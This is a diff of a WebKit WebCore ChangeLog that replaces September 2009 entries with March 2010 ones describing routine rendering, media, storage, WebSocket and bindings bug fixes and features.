-2009-09-25  Adam Barth  <abarth@webkit.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        [V8] Teach ScheduledAction::execute about isolated worlds
-        https://bugs.webkit.org/show_bug.cgi?id=27703
-
-        When setTimeout is called with a string argument in an isolated
-        world, we now compile the string in the isolated world.
-
-        Last time we tried this change, we got a lot of crashes.  This
-        time we're using a fresh local handle as our context to avoid
-        trouble if the peristent handle gets disposed before we leave
-        the context.
+        ASSERTION FAILED: rootLayer == m_clipRectsRoot at hulu.com
+        https://bugs.webkit.org/show_bug.cgi?id=34065
+        <rdar://problem/7573509>
+        
+        Fix one instance of this assertion (not necessarily the one seen on hulu.com).
+        
+        If the layer that clippingRoot() is being called on is itself compositing,
+        then it acts as the clipping root. Without this, calls to RenderLayer::childrenClipRect()
+        and RenderLayer::selfClipRect() via FrameView::windowClipRectForLayer(), for plug-ins,
+        caused the caching of an incorrect clip rects root.
 
-        Test: fast/dom/timer-clear-interval-in-handler-and-generate-error.html
+        Test: compositing/geometry/object-clip-rects-assertion.html
 
-        * bindings/v8/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::execute):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::clippingRoot):
 
-2009-09-25  Paul Godavari  <paul@chromium.org>
+2010-03-05  Simon Fraser  <simon.fraser@apple.com>
 
-        Reviewed by Darin Fisher.
+        Reviewed by Dan Bernstein.
 
-        Fix a regression in Mac Chromium popup menus, where the user's
-        selection was ignored and the popup became unresponsive.
-        https://bugs.webkit.org/show_bug.cgi?id=29726
+        Child clipping compositing layers don't show the blue debug color
+        https://bugs.webkit.org/show_bug.cgi?id=35807
 
-        The fix is to notify the popup's client that the popup was hidden,
-        even if the popup has no parent.
+        Set a layer owner on the GraphicsLayers created for clipping children,
+        so that they can get to the debug settings that give them the blue color.
 
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::hidePopup):
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::updateClippingLayers):
 
-2009-09-25  Alexander Pavlov  <apavlov@chromium.org>
+2010-03-05  Simon Fraser  <simon.fraser@apple.com>
 
         Reviewed by Dan Bernstein.
 
-        Enable Pasteboard::writePlainText for Chromium and fix code style nits.
-        https://bugs.webkit.org/show_bug.cgi?id=29734
-
-        * platform/chromium/PasteboardChromium.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        * platform/gtk/PasteboardGtk.cpp:
-        (WebCore::Pasteboard::writePlainText):
-        (WebCore::Pasteboard::writeURL):
-        * platform/mac/PasteboardMac.mm:
-        (WebCore::Pasteboard::writeSelection):
-        (WebCore::Pasteboard::writePlainText):
-        (WebCore::Pasteboard::writeURL):
-        * platform/qt/PasteboardQt.cpp:
-        (WebCore::Pasteboard::writePlainText):
+        MobileMe movie page is missing playback controls
+        https://bugs.webkit.org/show_bug.cgi?id=35805
+        <rdar://problem/7653169>
+        
+        On pages with video or plug-ins, we run overlap tests to determine which layers
+        need to be composited. There was an ordering dependency bug in
+        RenderLayerCompositor::computeCompositingRequirements() that caused us to fail
+        to detect that a layer needed to be composited, resulting in page content
+        not being visible.
+        
+        Specifically, layer->setHasCompositingDescendant() can change the answer
+        to needsToBeComposited(), when a layer has to clip compositing descendants.
+        So if we change setHasCompositingDescendant(), then we need to re-test
+        clipsCompositingDescendants() and add the layer to the overlap map if so.
 
-2009-09-25  Yongjun Zhang  <yongjun.zhang@nokia.com>
+        Test: compositing/overflow/overflow-compositing-descendant.html
 
-        Reviewed by Ariya Hidayat.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28876
-        [Qt] reduce peak memory consumption of text decoding.
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements):
 
-        Chop large input buffer into small buffers to reduce peak memory
-        during decoding.
+2010-03-04  Dumitru Daniliuc  <dumi@chromium.org>
 
-        * platform/text/qt/TextCodecQt.cpp:
-        (WebCore::TextCodecQt::decode):
+        Reviewed by Adam Barth.
 
-2009-09-24  Jon Honeycutt  <jhoneycutt@apple.com>
+        Adding support for the optional creation callback that could be
+        passed to openDatabase().
 
-        Add a mechanism for automatically halting plug-ins.
+        Test: storage/open-database-creation-callback.html
 
-        Reviewed by Oliver Hunt and Alice Liu.
+        https://bugs.webkit.org/show_bug.cgi?id=34726
 
+        * Android.jscbindings.mk
+        * Android.v8bindings.mk
         * GNUmakefile.am:
-
-        * WebCore.base.exp:
-        Update export of Page constructor.
-
         * WebCore.gypi:
-
         * WebCore.pro:
-
         * WebCore.vcproj/WebCore.vcproj:
-        Add PluginHalter.{h,cpp}, PluginHalterClient.h, and
-        HaltablePlugin.h.
-
         * WebCore.xcodeproj/project.pbxproj:
-        Add files to Mac project.
-
-        * loader/EmptyClients.h:
-        Added an empty PluginHalterClient.
-        (WebCore::EmptyPluginHalterClient::shouldHaltPlugin):
-        Return false.
-
-        * page/PluginHalter.cpp: Added.
-        (WebCore::PluginHalter::PluginHalter):
-        (WebCore::PluginHalter::didStartPlugin):
-        Add the object to the plug-in set. If this is the only item in the set,
-        set m_oldestStartTime to this object's time, and start the timer.
-        (WebCore::PluginHalter::didStopPlugin):
-        Remove the plug-in from the set.
-        (WebCore::PluginHalter::timerFired):
-        Find the cut-off time as the current time minus the allowed run time;
-        plug-ins older than this may be halted. Iterate over the plug-ins. Find
-        the object with the oldest start time that is too young to be halted;
-        we'll use its start time to set the timer's next fire time. For all
-        plug-ins that are candidates to be halted, call the
-        PluginHalterClient's shouldHaltPlugin(). If this function returns true,
-        call the plug-in's halt() function. Remove these objects from the set
-        of tracked plug-ins. Call startTimerIfNecessary() to restart the timer.
-        (WebCore::PluginHalter::startTimerIfNecessary):
-        If the timer is set to fire, or the set of tracked plug-ins is empty,
-        return early. Set the timer to fire after the oldest plug-in has run
-        for the allowed run time.
-
-        * page/PluginHalter.h: Added.
-        (WebCore::PluginHalter::setPluginAllowedRunTime):
-
-        * page/PluginHalterClient.h: Added.
-        (WebCore::PluginHalterClient::~PluginHalterClient):
-
-        * page/Page.cpp:
-        (WebCore::Page::Page):
-        Initialize m_pluginHalterClient. Call pluginHalterEnabledStateChanged()
-        to create the PluginHalter if necessary.
-        (WebCore::Page::pluginHalterEnabledStateChanged):
-        If plug-in halting is enabled, create the PluginHalter. If it is
-        disabled, clear it.
-        (WebCore::Page::pluginAllowedRunTimeChanged):
-        If there is a plug-in halter, call its setPluginAllowedRunTime().
-        (WebCore::Page::didStartPlugin):
-        If there is a plug-in halter, call its didStartPlugin().
-        (WebCore::Page::didStopPlugin):
-        If there is a plug-in halter, call its didStopPlugin().
-
-        * page/Page.h:
-        Add a parameter to the Page constructor for the PluginHalterClient.
-        Added declarations for didStartPlugin() and didStopPlugin(), which are
-        called when HaltablePlugins are added to or removed from the page. Adds
-        pluginAllowedRunTimeChanged() and pluginHalterEnabledStateChanged() to
-        notify the Page when these settings are changed. Added members to hold
-        the PluginHalter and the PluginHalterClient.
-
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setPluginHalterEnabled):
-        If the enabled state has changed, call the Page's
-        pluginHalterEnabledStateChanged().
-        (WebCore::Settings::setPluginAllowedRunTime):
-        Call the Page's pluginAllowedRunTimeChanged().
-
-        * page/Settings.h:
-        (WebCore::Settings::pluginHalterEnabled):
-        (WebCore::Settings::pluginAllowedRunTime):
-
-        * page/HaltablePlugin.h: Added. Defines an interface for plug-ins that
-        can be automatically halted.
-        (WebCore::HaltablePlugin::~HaltablePlugin):
-
-        * svg/graphics/SVGImage.cpp:
-        (WebCore::SVGImage::dataChanged):
-        Pass a dummy PluginHalterClient.
-
-2009-09-24  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        REGRESSION: webkit-transform scale no longer works properly in nightly build
-        https://bugs.webkit.org/show_bug.cgi?id=29730
-        
-        When the initial or final state of a scale animation does not specify a transform,
-        use a default scale of 1, rather than zero.
-
-        Test: compositing/transitions/scale-transition-no-start.html
-
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::getTransformFunctionValue):
-
-2009-09-24  John Gregg  <johnnyg@google.com>
-
-        Reviewed by Eric Seidel.
-
-        isEnabled switch for notifications (experimental) in Page Settings
-        https://bugs.webkit.org/show_bug.cgi?id=28930
-
-        Adds a run-time flag in Settings object that controls whether
-        to expose desktop notifications.
-
-        No new test, but test code also modified to set this preference.
-
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::openDatabase):
+        * bindings/js/JSDatabaseCallback.cpp: Added.
+        (WebCore::JSDatabaseCallback::JSDatabaseCallback):
+        (WebCore::JSDatabaseCallback::~JSDatabaseCallback):
+        (WebCore::JSDatabaseCallback::handleEvent):
+        * bindings/js/JSDatabaseCallback.h: Added.
+        (WebCore::JSDatabaseCallback::create):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::openDatabaseCallback):
+        * bindings/v8/custom/V8DatabaseCallback.cpp: Added.
+        (WebCore::V8DatabaseCallback::V8DatabaseCallback):
+        (WebCore::V8DatabaseCallback::~V8DatabaseCallback):
+        (WebCore::V8DatabaseCallback::handleEvent):
+        * bindings/v8/custom/V8DatabaseCallback.h: Added.
+        (WebCore::V8DatabaseCallback::create):
         * page/DOMWindow.cpp:
-        (WebCore::DOMWindow::webkitNotifications): check preference before returning notifications object
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        (WebCore::Settings::setExperimentalNotificationsEnabled):
-        * page/Settings.h:
-        (WebCore::Settings::experimentalNotificationsEnabled):
-
-2009-09-24  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Sam Weinig.
+        (WebCore::DOMWindow::openDatabase):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * storage/Database.cpp:
+        (WebCore::DatabaseCreationCallbackTask::create):
+        (WebCore::DatabaseCreationCallbackTask::performTask):
+        (WebCore::DatabaseCreationCallbackTask::DatabaseCreationCallbackTask):
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+        (WebCore::Database::performCreationCallback):
+        * storage/Database.h:
+        (WebCore::Database::isNew):
+        * storage/DatabaseCallback.h: Added.
+        (WebCore::DatabaseCallback::~DatabaseCallback):
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::openDatabase):
+        * workers/WorkerContext.h:
 
-        Fix <rdar://problem/7162000> Crash while trying to
-        calculate the horizontal position of image
+2010-03-05  Chris Marrin  <cmarrin@apple.com>
 
-        Test: fast/inline-block/relative-positioned-rtl-crash.html
+        Reviewed by Simon Fraser.
 
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::calcAbsoluteHorizontalReplaced): Corrected an
-        isInline() test to isRenderInline(). This is similar to r41259.
+        Fixed infinite recursion of composited video on Windows
+        https://bugs.webkit.org/show_bug.cgi?id=35798
+        
+        Due to a change in the way we get the platformLayer (WKCACFLayer)
+        for video, the mediaplayer was in an infinite loop with WKCACFLayer
+        bouncing notifySyncRequired calls back and forth. After discussion
+        we decided it would be better to avoid notifySyncRequired entirely,
+        which would walk up through WebCore calls and back down through
+        WebKit calls to tell the WKCACFLayerRenderer to kick off a render cycle.
+        
+        I subclassed WKCACFLayer into a WKCACFRootLayer which has a pointer to
+        the WKCACFLayerRenderer. When something changes, we get the rootLayer()
+        by walking up the layers and make a virtual call which WKCACFRootLayer
+        implements to tell WKCACFLayerRenderer to render.
+        
+        I also got rid of GraphicsLayer knowledge from WKCACFLayer. GraphicsLayerCACF
+        now makes a WebLayer subclass which implements the drawInContext()
+        virtual method.
+        
+        I also had to add protection to the platformLayer() call in 
+        MediaPlayerPrivateQuickTimeWin because it gets called earlier than before
+        when the layer is still null.
+
+        * platform/graphics/win/GraphicsLayerCACF.cpp:Implement WebLayer
+        (WebCore::WebLayer::create):
+        (WebCore::WebLayer::drawInContext):
+        (WebCore::WebLayer::WebLayer):
+        (WebCore::GraphicsLayerCACF::GraphicsLayerCACF):
+        (WebCore::GraphicsLayerCACF::setNeedsDisplayInRect):
+        (WebCore::GraphicsLayerCACF::updateLayerPreserves3D):
+        (WebCore::GraphicsLayerCACF::updateContentsImage):
+        * platform/graphics/win/GraphicsLayerCACF.h:
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:Protect platformLayer from a null qtLayer
+        (WebCore::MediaPlayerPrivate::platformLayer):
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:Got rid of no longer needed method
+        (WebCore::MediaPlayerPrivate::notifyAnimationStarted):
+        * platform/graphics/win/WKCACFLayer.cpp:Got rid of GraphicsLayer dependency. Made virtual.
+        (WebCore::displayCallback):
+        (WebCore::WKCACFLayer::create):
+        (WebCore::WKCACFLayer::WKCACFLayer):
+        (WebCore::WKCACFLayer::setNeedsCommit):
+        (WebCore::WKCACFLayer::setNeedsDisplay):
+        * platform/graphics/win/WKCACFLayer.h:
+        (WebCore::WKCACFLayer::setNeedsRender):
+        (WebCore::WKCACFLayer::drawInContext):
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:Create WKCACFRootLayer which tells WKCACFLayerRenderer to render
+        (WebCore::WKCACFRootLayer::WKCACFRootLayer):
+        (WebCore::WKCACFRootLayer::create):
+        (WebCore::WKCACFRootLayer::setNeedsRender):
+        (WebCore::WKCACFRootLayer::setNeedsDisplay):
+        (WebCore::WKCACFLayerRenderer::rootLayer):
+        (WebCore::WKCACFLayerRenderer::setRootChildLayer):
+        (WebCore::WKCACFLayerRenderer::setNeedsDisplay):
+        (WebCore::WKCACFLayerRenderer::createRenderer):
+        * platform/graphics/win/WKCACFLayerRenderer.h:
+
+2010-03-05  Dimitri Glazkov  <dglazkov@chromium.org>
 
-2009-09-24  Jessie Berlin  <jberlin@webkit.org>
+        Reviewed by David Levin.
 
-        Reviewed by Timothy Hatcher.
+        [Chromium] Missing commas in WebCore.gypi file make building Geo unpossible.
+        https://bugs.webkit.org/show_bug.cgi?id=35797
 
-        Fix expanding profile call stacks being broken after sorting.
-        https://bugs.webkit.org/show_bug.cgi?id=26423
+        No new tests, this is a latent compile break.
 
-        * inspector/front-end/ProfileDataGridTree.js:
-        (WebInspector.ProfileDataGridNode.prototype.sort):
-        Set shouldRefreshChildren to true on collapsed nodes with children so that expanding it
-        causes the children to be placed in the right positions.
+        * WebCore.gypi:
 
-2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+2010-03-04  Eric Carlson  <eric.carlson@apple.com>
 
-        Reviewed by Stephanie Lewis.
+        Reviewed by Adele Peterson.
 
-        Fixed sudden termination console spew due to too many calls to
-        enableSuddenTermination.
-        
-        <rdar://problem/7063125> 10A410: Safari logging enableSuddenTermination errors
+        <rdar://problem/7718442> Implement 'preload=none'
+        https://bugs.webkit.org/show_bug.cgi?id=35789
 
-        * page/DOMWindow.cpp:
-        (WebCore::removeUnloadEventListener):
-        (WebCore::removeAllUnloadEventListeners):
-        (WebCore::removeBeforeUnloadEventListener):
-        (WebCore::removeAllBeforeUnloadEventListeners): Only
-        enableSuddenTermination if the set of listeners is empty *and* this
-        window was in the set. Otherwise, a no-op will cause us to enableSuddenTermination.
+        Don't load any media data when preload is 'none'.
 
-2009-09-24  Carol Szabo  <carol.szabo@nokia.com>
+        Test: media/video-preload.html
 
-        Reviewed by Alexey Proskuryakov.
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::loadResource): Don't call player's setPreload method
+            when autoplay is set.
 
-        WebKit returns "" instead of null when getting
-        inexistent, forbidden or invalidly named headers.
-        https://bugs.webkit.org/show_bug.cgi?id=29140
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::setPreload): Set m_preload so we have the correct value when
+            the media engine is created.
 
-        * xml/XMLHttpRequest.cpp:
-        (WebCore::XMLHttpRequest::getResponseHeader):
-        Changed to return null as it should according to the spec.
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate): Initialize m_preload.
+        (WebCore::MediaPlayerPrivate::resumeLoad): New, kick off postponed a load.
+        (WebCore::MediaPlayerPrivate::load): Do nothing if preload is 'none'
+        (WebCore::MediaPlayerPrivate::loadInternal): New, complete loading.
+        (WebCore::MediaPlayerPrivate::prepareToPlay): New, resume a postponed load as someone
+            has called play().
+        (WebCore::MediaPlayerPrivate::setPreload): New, set m_preload.
 
-2009-09-24  Jeremy Orlow  <jorlow@chromium.org>
+2010-03-04  Nate Chapin  <japhet@chromium.org>
 
         Reviewed by Dimitri Glazkov.
 
-        Add GYP generated files to svn:ignore
-        https://bugs.webkit.org/show_bug.cgi?id=29724
-
-        Adding the following files to the svn:ignore list (all in the
-        WebCore/WebCore.gyp directory)
-
-        WebCore.xcodeproj
-        WebCore.sln
-        WebCore.vcproj
-        WebCore_Debug.rules
-        WebCore_Release.rules
-        WebCore_Release - no tcmalloc.rules
-        WebCore_Purify.rules
-        WebCore.mk
-        WebCore_Debug_rules.mk
-        WebCore_Release_rules.mk
-        WebCore_Release - no tcmalloc_rules.mk
-        WebCore_Purify_rules.mk
-        WebCore.scons
-        WebCore_main.scons
-
-        * WebCore.gyp: Changed property svn:ignore.
+        [V8] Give CodeGeneratorV8.pm a much-needed spring cleaning.
 
-2009-09-24  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+        https://bugs.webkit.org/show_bug.cgi?id=35697
 
-        Unreviewed. Mac build fix.
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::shouldTurnVerticalTicksIntoHorizontal):
-        remove unused parameter from function signature;
-
-2009-09-24  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Reviewed by Oliver Hunt.
-
-        Implement correct horizontal scrollbar behavior for GTKalso on
-        styled scrollbars.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29348
-        [Gtk] Scrollwheel on horizontal scrollbars should slide horizontally
-
-        Test: platform/gtk/scrollbars/overflow-scrollbar-horizontal-wheel-scroll.html
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::handleWheelEvent): on GTK+, when using the
-        wheel with the pointer on the horizontal scrollbar, scroll
-        horizontally;
-        * platform/PlatformWheelEvent.h:
-        * platform/gtk/WheelEventGtk.cpp:
-        (WebCore::PlatformWheelEvent::swapOrientation): allow adding a
-        vertical scroll to the horizontal one;
-
-2009-09-24  Jeremy Orlow  <jorlow@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        StorageNamespace::storageArea() should take in a PassRefPtr<StorageOrigin>
-        https://bugs.webkit.org/show_bug.cgi?id=29290
-
-        Modified StorageNamespace::storageArea() to take in a PassRefPtr<StorageOrigin>
-        per http://webkit.org/coding/RefPtr.html
-
-        No behavior change, so no tests.
-
-        * storage/StorageNamespace.h:
-        * storage/StorageNamespaceImpl.cpp:
-        (WebCore::StorageNamespaceImpl::storageArea):
-        * storage/StorageNamespaceImpl.h:
+        * bindings/scripts/CodeGeneratorV8.pm: Remove unused code, fix style issues, make less hard-coded.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::V8DOMWindow::addEventListenerCallback):
+        (WebCore::V8DOMWindow::removeEventListenerCallback):
 
-2009-09-24  Geoffrey Garen  <ggaren@apple.com>
+2010-03-05  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Sam Weinig.
+        Not reviewed. Roll back r55522 since it regreses performance
+        according to chromium's page cycler.
 
-        Added back enable/disableSuddenTermination() functionality I accidentally
-        removed in my last patch.
+        https://bugs.webkit.org/show_bug.cgi?id=35568
 
-        * page/DOMWindow.cpp:
-        (WebCore::addUnloadEventListener):
-        (WebCore::removeUnloadEventListener):
-        (WebCore::removeAllUnloadEventListeners):
-        (WebCore::addBeforeUnloadEventListener):
-        (WebCore::removeBeforeUnloadEventListener):
-        (WebCore::removeAllBeforeUnloadEventListeners):
-        (WebCore::DOMWindow::dispatchAllPendingUnloadEvents):
-        (WebCore::DOMWindow::~DOMWindow):
-        (WebCore::DOMWindow::addEventListener):
-        (WebCore::DOMWindow::removeEventListener):
-        (WebCore::DOMWindow::removeAllEventListeners):
+2010-03-05  Dean Jackson  <dino@apple.com>
 
-2009-09-24  Sam Weinig  <sam@webkit.org>
+        Reviewed by Simon Fraser and Chris Marrin.
 
-        Reviewed by Steve Falkenburg and Mark Rowe.
+        Bug 26869: Add fill modes for CSS Animations
+        https://bugs.webkit.org/show_bug.cgi?id=26869
 
-        Don't pass -F to GCC on non-mac platforms since it is an darwin only.
-
-        * DerivedSources.make:
+        Tests: animations/fill-mode-removed.html
+               animations/fill-mode-transform.html
+               animations/fill-mode.html
 
-2009-09-24  Sam Weinig  <sam@webkit.org>
+        * css/CSSComputedStyleDeclaration.cpp:
+        * css/CSSParser.cpp:
+        * css/CSSParser.h:
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        * css/CSSStyleSelector.h:
+        * css/CSSValueKeywords.in:
+            - parse, assign and retrieve the value of the new
+              -webkit-animation-fill-mode property
+        * page/animation/AnimationBase.cpp:
+        * page/animation/AnimationBase.h:
+            - new state in animation engine for a finished animation
+              that is "filling" forwards in time. This allows the
+              engine to keep the animation around and not revert to the
+              old style.
+            - update the timer code to indicate it doesn't need to
+              keep animating if it is filling
+            - now that animations can extend beyond their elapsed time,
+              make sure progress works correctly with iteration counts
+        * page/animation/KeyframeAnimation.cpp:
+        (WebCore::KeyframeAnimation::animate):
+            - ensure correct style value is returned at the right
+              time by checking for fill mode
+        (WebCore::KeyframeAnimation::onAnimationEnd):
+            - continue to send the end event, but only remove the
+              animation if it isn't filling forwards
+        * platform/animation/Animation.cpp:
+        * platform/animation/Animation.h:
+            - new fill mode member property
+        * platform/animation/AnimationList.cpp:
+            - ensure the fill mode is propagated to a list of style valus
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+            - make hardware layers use Core Animation's fill mode
 
-        Fix windows build.
+2010-03-05  Ilya Tikhonovsky  <loislo@chromium.org>
 
-        * dom/Element.idl:
+        Reviewed by Pavel Feldman.
 
-2009-09-23  Stephen White  <senorblanco@chromium.org>
+        Web Inspector: Do not show link helper in popovers and/or for external resources.
 
-        Reviewed by Eric Seidel.
+        https://bugs.webkit.org/show_bug.cgi?id=35785
 
-        Revert the relevant parts of r47925, and implement an alternate
-        fix (localize the coordinate check to GraphicsContext::clipPath()).
-        This fixes http://crbug.com/21174.
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.canShowSourceLine):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype._scriptOrResourceForURLAndLine):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype.hide):
+        * inspector/front-end/inspector.js:
+        (WebInspector.documentMouseOver):
+        (WebInspector.documentClick.followLink):
+        (WebInspector.documentClick):
+        (WebInspector.addMainEventListeners):
 
-        Covered by LayoutTests/svg/dynamic-updates/SVGClipPathElement-dom-clipPathUnits-attr.html.
+2010-03-05  Fumitoshi Ukai  <ukai@chromium.org>
 
-        * platform/graphics/skia/GraphicsContextSkia.cpp:
-        (WebCore::GraphicsContext::clipPath):
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::currentPathInLocalCoordinates):
+        Reviewed by Alexey Proskuryakov.
 
-2009-09-24  Brady Eidson  <beidson@apple.com>
+        WebSocket onmessageerror event handler
+        https://bugs.webkit.org/show_bug.cgi?id=35570
 
-        Reviewed by Sam Weinig.
+        Test: websocket/tests/error-detect.html
 
-        Merge changes from Mozilla's FTP directory parser.
-        <rdar://problem/7227620> and https://bugs.webkit.org/show_bug.cgi?id=29294
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocketChannel::didConnect): assert scriptExecutionContext.
+        (WebCore::WebSocketChannel::didReceiveMessage): assert scriptExecutionContext.
+        (WebCore::WebSocket::didReceiveMessageError):
+        (WebCore::WebSocket::didClose): assert scriptExecutionContext.
+        * websockets/WebSocket.h:
+        * websockets/WebSocket.idl: Add onerror event listener
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData): call didReceiveMessageError if unknown frame tye is detected, or frame length overflowed.
+        * websockets/WebSocketChannelClient.h:
+        (WebCore::WebSocketChannelClient::didReceiveMessageError):
 
-        FTP layout tests not possible at this time.
-        https://bugs.webkit.org/show_bug.cgi?id=29719 tracks making them possible.
+2010-03-04  Garret Kelly  <gdk@chromium.org>
 
-        * loader/FTPDirectoryParser.cpp:
-        (WebCore::ParsingFailed):
-        (WebCore::parseOneFTPLine):
+        Reviewed by Darin Fisher.
 
-2009-09-24  Philippe Normand  <pnormand@igalia.com>
+        Changing private members from PlatformTouchEvent and PlatformTouchPoint
+        to be protected, so that Chromium's PlatformTouchEventBuilder and
+        PlatformTouchPointBuilder can access them. Exercised by the
+        fast/events/touch tests.
+        https://bugs.webkit.org/show_bug.cgi?id=35760
 
-        Reviewed by Gustavo Noronha.
+        * platform/PlatformTouchEvent.h:
+        (WebCore::PlatformTouchEvent::~PlatformTouchEvent):
+        * platform/PlatformTouchPoint.h:
+        (WebCore::PlatformTouchPoint::~PlatformTouchPoint):
 
-        [GTK] re-enable some media tests
-        https://bugs.webkit.org/show_bug.cgi?id=29716
+2010-03-04  Fumitoshi Ukai  <ukai@chromium.org>
 
-        make canPlayType() return "probably" if mime-type is known
-        and codecs string is not empty. If codecs is empty return
-        "maybe".
+        Reviewed by Alexey Proskuryakov.
 
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::MediaPlayerPrivate::supportsType):
+        WebSocket crash bug when reloading the page while the WebSocket is busy
+        https://bugs.webkit.org/show_bug.cgi?id=35732
 
-2009-09-24  Sam Weinig  <sam@webkit.org>
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::disconnect): clear m_context from WebSocketChannel and WebSocketHandshake.
+        (WebCore::WebSocketChannel::didOpen): check m_context
+        (WebCore::WebSocketChannel::didClose): clear m_context
+        (WebCore::WebSocketChannel::didReceiveData): check m_context, and check m_client early before appending to buffer
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::WebSocketHandshake::clearScriptExecutionContext): Added.
+        * websockets/WebSocketHandshake.h:
 
-        Reviewed by Dan Bernstein.
+2010-03-04  MORITA Hajime <morrita@google.com>
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29703
-        Add a function to element to check whether it matches a CSS selector
+        Reviewed by Alexey Proskuryakov.
 
-        Implement Element.webkitMatchesSelector.
+        Refactoring: XMLHTTPRequest.open() should have all overloaded implementations
+        https://bugs.webkit.org/show_bug.cgi?id=35630
 
-        * css/CSSSelectorList.cpp:
-        (WebCore::forEachTagSelector):
-        (WebCore::forEachSelector):
-        (WebCore::SelectorNeedsNamespaceResolutionFunctor::operator()):
-        (WebCore::CSSSelectorList::selectorsNeedNamespaceResolution):
-        * css/CSSSelectorList.h:
-        Moved code to iterate the CSSSelectorList and determine if any
-        selectors need namespace resolution from a static function in
-        Node.cpp to CSSSelectorList so that it can be used by webkitMatchesSelector
-        as well as querySelector/querySelectorAll.
+        Test: http/tests/xmlhttprequest/open-async-overload.html
 
-        * dom/Element.cpp:
-        (WebCore::Element::webkitMatchesSelector):
-        * dom/Element.h: 
-        * dom/Element.idl:
-        Implement the new function. Handles exceptional cases identically to
-        querySelector/querySelectorAll.
+        * bindings/js/JSXMLHttpRequestCustom.cpp:
+        (WebCore::JSXMLHttpRequest::open):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::V8XMLHttpRequest::openCallback):
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::open):
+        * xml/XMLHttpRequest.h:
 
-        * dom/Node.cpp:
-        (WebCore::Node::querySelector):
-        (WebCore::Node::querySelectorAll):
-        Moved selectorsNeedNamespaceResolution to CSSSelectorList from here.
+2010-03-04  James Robinson  <jamesr@google.com>
 
-2009-09-24  Vitaly Repeshko  <vitalyr@chromium.org>
+        Reviewed by Eric Seidel.
 
-        Reviewed by Dimitri Glazkov.
+        Styles do not have to be synchronously rematched after every event dispatch
 
-        [V8] Fixed bindings build after http://trac.webkit.org/changeset/48701
-        https://bugs.webkit.org/show_bug.cgi?id=29713
+        https://bugs.webkit.org/show_bug.cgi?id=32580
 
-        Got rid of isWindowEvent in function signatures:
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent):
         * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
         (WebCore::V8AbstractEventListener::handleEvent):
-        (WebCore::V8AbstractEventListener::getReceiverObject):
-        * bindings/v8/V8AbstractEventListener.h:
-        * bindings/v8/V8LazyEventListener.cpp:
-        (WebCore::V8LazyEventListener::callListenerFunction):
-        * bindings/v8/V8LazyEventListener.h:
-        * bindings/v8/V8WorkerContextEventListener.cpp:
-        (WebCore::V8WorkerContextEventListener::handleEvent):
-        (WebCore::V8WorkerContextEventListener::callListenerFunction):
-        (WebCore::V8WorkerContextEventListener::getReceiverObject):
-        * bindings/v8/V8WorkerContextEventListener.h:
-        * bindings/v8/custom/V8CustomEventListener.cpp:
-        (WebCore::V8EventListener::callListenerFunction):
-        * bindings/v8/custom/V8CustomEventListener.h:
-
-        Switched to EventTarget methods of adding/removing listeners:
-        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
-        (WebCore::toEventID):
-        (WebCore::ACCESSOR_SETTER):
-
-        * dom/EventTarget.h: Some functions were incorrectly marked
